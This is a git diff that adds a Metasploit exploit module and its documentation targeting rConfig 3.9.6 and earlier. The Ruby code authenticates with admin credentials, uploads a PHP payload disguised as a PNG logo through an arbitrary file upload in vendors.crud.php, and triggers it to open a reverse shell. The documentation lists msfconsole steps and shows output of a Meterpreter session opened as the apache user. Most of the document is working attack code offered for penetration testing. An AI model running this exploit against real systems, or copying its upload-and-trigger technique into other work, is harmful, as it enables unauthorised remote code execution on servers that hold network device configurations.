diff --git a/documentation/modules/exploit/linux/http/rconfig_authenticated_rce.md b/documentation/modules/exploit/linux/http/rconfig_authenticated_rce.md new file mode 100644 index 0000000000..2bcfa063e5 --- /dev/null +++ b/documentation/modules/exploit/linux/http/rconfig_authenticated_rce.md @@ -0,0 +1,57 @@ +## Vulnerable Application + +### Description + +This module allows an attacker with a privileged rConfig account to start a reverse shell due to an +arbitrary file upload vulnerability in `/lib/crud/vendors.crud.php`. Then, the uploaded payload can be +triggered by a call to `images/vendor/.php` + +### Installation + +Vulnerable versions of rConfig can be downloaded from [here](https://www.cacti.net/downloads/). Then, +help yourself with [this](https://help.rconfig.com/gettingstarted/installation) installation guide. +You can also use this [docker file](https://hub.docker.com/r/libyerman/rconfig) +(as long as it is not updated and remains a 3.9.6 version of rConfig) + +## Verification Steps + +List the steps needed to make sure this thing works + +1. Start `msfconsole` +2. `use exploit/linux/http/rconfig_authenticated_rce` +3. `set USERNAME ` +4. `set PASSWORD ` +5. `set TARGETURI ` if the base path of rConfig web server is different from `/` +6. `check` to check if the targeted rConfig server is vulnerable +7. `run` the module to exploit the vulnerability and start a reverse shell + +## Options + +### USERNAME + +Set the USERNAME of your admin account. + +### PASSWORD + +Set the PASSWORD of your admin account. + +## Scenarios + +This module was successfully tested on CentOS 7 with rConfig 3.9.6. See the following output : + +``` +msf6 exploit(rconfig_authenticated_rce) > run + +[*] Started reverse TCP handler on X.X.X.X:4444 +[*] Executing automatic check (disable AutoCheck to override) +[+] Version 3.9.6 of rConfig found ! +[+] The target is vulnerable. +[+] We successfully logged in ! +[*] Uploading file 'uaxsv.php' containing the payload... +[*] Triggering the payload ... +[*] Sending stage (39282 bytes) to Y.Y.Y.Y +[*] Meterpreter session 13 opened (X.X.X.X:4444 -> Y.Y.Y.Y:38310) at 2021-06-17 14:41:00 +0200 + +meterpreter > getuid +Server username: apache (48) +``` diff --git a/modules/exploits/linux/http/rconfig_authenticated_rce.rb b/modules/exploits/linux/http/rconfig_authenticated_rce.rb new file mode 100644 index 0000000000..ea397107c4 --- /dev/null +++ b/modules/exploits/linux/http/rconfig_authenticated_rce.rb @@ -0,0 +1,164 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'rConfig until 3.9.6 - Authenticated RCE', + 'Description' => %q{ + This module allows an attacker with a privileged rConfig account to start a reverse shell + due to an arbitrary file upload vulnerability in `/lib/crud/vendors.crud.php`. + Then, the uploaded payload can be triggered by a call to `images/vendor/.php` + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'MURAT ŞEKER', # Exploit-db + 'VISHWARAJ BHATTRAI', # Exploit-db + 'Yann Castel (yann.castel[at]orange.com)' # Metasploit module + ], + 'References' => + [ + ['EDB', '49665'], + ['EDB', '49783'] + ], + 'Platform' => [ 'php' ], + 'Arch' => ARCH_PHP, + 'Privileged' => true, + 'DisclosureDate' => '2021-03-17', + 'Targets' => + [ + [ 'Linux', {}] + ], + 'Notes' => + { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], + 'Reliability' => [ REPEATABLE_SESSION ] + } + ) + ) + + register_options [ + OptString.new('USERNAME', [true, 'Username of the admin account', nil]), + OptString.new('PASSWORD', [true, 'Password of the admin account', nil]), + OptString.new('TARGETURI', [true, 'The base path of the rConfig server', '/']) + ] + end + + def authenticate + r = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/login.php') + }) + + cookie = r.get_cookies + + r = send_request_cgi!( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/lib/crud/userprocess.php'), + 'headers' => { + 'Origin' => 'https://' + datastore['RHOST'], + 'Referer' => 'https://' + datastore['RHOST'] + '/login.php' + }, + 'cookie' => cookie, + 'vars_post' => { + 'user' => datastore['USERNAME'], + 'pass' => datastore['PASSWORD'], + 'sublogin' => '1' + } + ) + + if r.body.to_s.include?('Invalid') + fail_with Failure::BadConfig, 'The admin credentials given are incorrect' + end + + if r.headers.include?('location') + print_good 'We successfully logged in !' + else + fail_with Failure::UnexpectedReply, 'Unexpected reply as auth redirection didn\'t work' + end + + cookie + end + + def check + r = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/login.php') + }) + + if r&.code == 200 + + version = r.body.to_s.match(/Version (\d*).(\d*).(\d*)/) + + if version + + print_good(version[0] + ' of rConfig found !') + + if version[1].to_i < 3 || (version[1].to_i == 3 && version[2].to_i < 9) || (version[1].to_i == 3 && version[2].to_i == 9 && version[3].to_i <= 6) + CheckCode::Vulnerable + else + CheckCode::Safe('Only versions <= 3.9.6 are vulnerable !') + end + else + CheckCode::Unknown('Version of rConfig not found !') + end + else + CheckCode::Unknown("Can't access the rConfig web interface !") + end + end + + def exploit + cookie = authenticate + filename = Rex::Text.rand_text_alpha_lower(5) + '.php' + + data = "-----------------------------122590832918963661283831488254\n" \ + "Content-Disposition: form-data; name=\"vendorName\"\n\n" \ + "thisisrce\n" \ + "-----------------------------122590832918963661283831488254\n" \ + "Content-Disposition: form-data; name=\"vendorLogo\"; filename=#{filename}\n" \ + "Content-Type: image/png\n\n#{payload.encoded}\n" \ + "-----------------------------122590832918963661283831488254\n" \ + "Content-Disposition: form-data; name=\"add\"\n\n" \ + "add\n" \ + "-----------------------------122590832918963661283831488254\n" \ + "Content-Disposition: form-data; name=\"editid\"\n\n\n" \ + '-----------------------------122590832918963661283831488254--' + + print_status("Uploading file \'#{filename}\' containing the payload...") + + r = send_request_cgi( + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, '/lib/crud/vendors.crud.php'), + 'headers' => { + 'Origin' => 'https://' + datastore['RHOST'], + 'Content-Type' => 'multipart/form-data; boundary=---------------------------122590832918963661283831488254' + }, + 'cookie' => cookie, + 'data' => data + ) + + if r&.code == 302 + + print_status('Triggering the payload ...') + send_request_cgi( + 'method' => 'GET', + 'cookie' => cookie, + 'uri' => normalize_uri(target_uri.path, "/images/vendor/#{filename}") + ) + else + fail_with Failure::Unknown "Wasn't able to upload the payload file" + end + end +end